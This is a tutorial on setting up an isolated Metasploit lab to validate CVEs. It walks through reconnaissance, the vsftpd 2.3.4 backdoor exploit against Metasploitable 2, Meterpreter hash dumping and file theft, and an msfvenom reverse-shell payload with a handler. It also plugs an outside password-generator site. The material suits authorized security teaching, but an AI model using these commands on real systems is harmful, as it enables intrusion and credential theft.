The Question Management Always Asks
Your security team flags a CVE. Management wants to know: “Are we actually vulnerable?” You check NVD, read the advisory, maybe run a Nessus scan — and you still can’t give a straight answer. Scanners tell you something might be exploitable. Exploitation frameworks tell you whether it is.
That gap — between “possibly vulnerable” and “confirmed exploitable” — is where most teams lose confidence. I spent a weekend building a proper Metasploit lab specifically to close that gap. The result: I stopped guessing and started proving. Here’s exactly what I did.
Why Scanners Alone Don’t Cut It
Vulnerability scanners are great for surface coverage but terrible for depth. They fingerprint services, match CVE signatures, and score severity. They don’t pull a shell.
A CVSS 9.8 finding means nothing if the service is behind a firewall rule, patched under a different package name, or misconfigured in a way that blocks the exploit path entirely. I’ve seen Nessus flag a critical RCE on a box where the vulnerable port wasn’t even reachable from the attacker’s network segment.
Most organizations know what’s theoretically broken. Few verify what’s practically reachable. Metasploit bridges that gap — it lets you simulate an attacker’s exact steps in a controlled environment before a real attacker does it in production.
Controlled is the key word. Everything in this guide runs inside an isolated lab. Exploiting systems you don’t own is illegal. If you’re running this against your own infrastructure, get written authorization first.
Three Ways to Run Metasploit
Pick your install path based on what you actually need:
- Kali Linux (pre-installed) — Easiest entry point. Metasploit ships ready to use, no setup required. Downside: you’re committing to a full distro on your main or VM machine.
- Manual install on Ubuntu/Debian — More control. Runs alongside your existing tools without blowing away your environment. Takes maybe 10 minutes of setup.
- Metasploit Pro (commercial) — Web UI, automated campaigns, team workspaces. Solid for enterprise engagements. Complete overkill for a personal lab.
For learning the internals, manual install on a dedicated Ubuntu VM wins. You see exactly what’s running and why. The commands map directly to what you’d use on real engagements.
Setting Up the Lab Environment
Two VMs minimum, on the same isolated virtual network:
- Attacker machine: Ubuntu 22.04 LTS (or Kali)
- Target machine: Metasploitable 2 or 3 — deliberately vulnerable VMs built for exactly this purpose
Use VMware or VirtualBox with a host-only or internal network adapter. Cut internet access to the target entirely. An intentionally vulnerable machine with a public IP is not a lab — it’s a liability.
Installing Metasploit on Ubuntu
Rapid7’s official installer handles all dependencies cleanly. No manual apt juggling:
# Download and run the Rapid7 installer
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstallNext, initialize the database. Metasploit uses PostgreSQL to store hosts, services, loot, and session data across runs:
# Start PostgreSQL and initialize msfdb
sudo systemctl start postgresql
sudo msfdb init
# Launch the console
msfconsoleFirst launch takes 30–60 seconds while modules load. The msf6 > prompt means you’re in. Confirm the database is connected before doing anything else:
msf6 > db_status
# Expected: Connected to msf. Connection type: postgresql.If the database isn’t connected, sessions and scan results won’t persist. Fix this first.
Your First Real Exploit: Metasploitable 2 Walkthrough
Metasploitable 2 ships with default credentials (msfadmin:msfadmin) and a stack of known vulnerabilities. Boot it, note its IP — we’ll use 192.168.56.101 throughout — and start from the attacker machine.
Step 1: Reconnaissance with db_nmap
Skip running nmap separately. Pipe it directly into Metasploit’s database so results are immediately queryable:
msf6 > db_nmap -sV -sC -O 192.168.56.101Hosts and services get stored automatically. Pull up what was found:
msf6 > hosts
msf6 > servicesOn Metasploitable 2, you’ll typically see 20+ open ports: FTP on 21, SSH on 22, HTTP on 80, SMB on 445, a PostgreSQL instance on 5432, and a handful of legacy services that have no business running on anything in 2025.
Step 2: Picking an Exploit
Metasploitable 2 runs vsftpd 2.3.4 — a version with a backdoor intentionally inserted by an attacker who compromised the source distribution in 2011. Search for it:
msf6 > search vsftpd
# Output:
# 0 exploit/unix/ftp/vsftpd_234_backdoor ... excellent YesLoad the module and review what it needs:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > info
msf6 exploit(vsftpd_234_backdoor) > optionsStep 3: Configure and Fire
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(vsftpd_234_backdoor) > run
# If successful:
# [*] Command shell session 1 opened
# id
# uid=0(root) gid=0(root)Root shell in under 30 seconds. The vsftpd backdoor is 14 years old — and yet it still shows up on internal audits at companies that assume “old” means “already patched.” Assumption is not a patch.
Working With Sessions and Post-Exploitation
Getting a shell is step one. Metasploit’s real depth is what comes after. Background the session and start exploring:
# Background current session
Ctrl+Z
# List active sessions
msf6 > sessions -l
# Upgrade a basic shell to Meterpreter
msf6 > sessions -u 1
# Interact with a session
msf6 > sessions -i 1Meterpreter gives you structured post-exploitation instead of a raw shell:
meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump # Dump /etc/shadow hashes
meterpreter > download /etc/passwd /tmp/loot/
meterpreter > run post/linux/gather/enum_systemThe enum_system module alone surfaces kernel version, installed packages, cron jobs, sudo config, and network interfaces — everything an attacker profiles before moving laterally.
The Workflow That Actually Holds Up
After running this across several lab setups, here’s the process I’ve standardized for vulnerability validation:
- Scan first, exploit second. Always run
db_nmapbefore touching anything. Document what you find before you change any system state. - Use workspaces. Keep targets separated.
workspace -a project_namecreates a fresh namespace so lab data doesn’t bleed across engagements. - Log everything. Metasploit’s
spoolcommand writes the session to disk. On real engagements, your report depends on it:spool /tmp/msf_session.log - Clean up. Document what you modified, then restore original state. In a lab: revert the VM snapshot. In production: remove any persistence mechanisms you tested.
One thing that tripped me up early: most Metasploit modules have a check command that tests vulnerability without actually exploiting. Use it in uncertain situations — it gives you confirmation before anything irreversible happens:
msf6 exploit(ms17_010_eternalblue) > check
# [+] 192.168.56.102:445 - The target is vulnerable.Credentials and Access Management in the Lab
Managing passwords across lab VMs gets messy fast — especially when you’re spinning up and tearing down snapshots. I use the password generator at toolcraft.app/en/tools/security/password-generator for any server or VM passwords I need. It runs client-side in the browser, so nothing leaves your machine. For a security lab, clean tooling matters — you’re not going to use a password manager that phones home while you’re studying offensive techniques.
Modules Worth Spending Time With
Once the basic exploit workflow clicks, these are the modules that show up most in real lab work:
auxiliary/scanner/portscan/tcp— TCP scanner built into msfconsole. Handy when you want results piped directly into the database.auxiliary/scanner/smb/smb_ms17_010— Checks for EternalBlue across an entire subnet without touching a single exploit.post/multi/recon/local_exploit_suggester— Run this after landing a low-priv shell. It pulls the kernel version and installed packages, then suggests local privilege escalation paths from the module database.exploit/multi/handler— Catches reverse shells from payloads you generate withmsfvenom.
Generating a payload with msfvenom and catching it with a handler:
# Generate a Linux reverse shell payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f elf -o shell.elf
# Set up the listener on the attacker machine
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.100
msf6 > set LPORT 4444
msf6 > runWhen the target executes shell.elf, the connection comes back to your handler. Same mechanism real attackers use — which is exactly why testing it against your own defenses matters.
What to Do With What You Find
Lab findings only have value if they produce action. For each confirmed exploit, document four things:
- Affected service, version, and CVE identifier
- Exploit path used (module name, payload, required network position)
- What an attacker could access post-exploitation
- Remediation: patch version, config change, or compensating control
That output gives your team something concrete — not a scanner report with CVSS scores and no context. Security validation through exploitation, in a legal lab, is what separates teams that understand their actual risk from teams that estimate it.
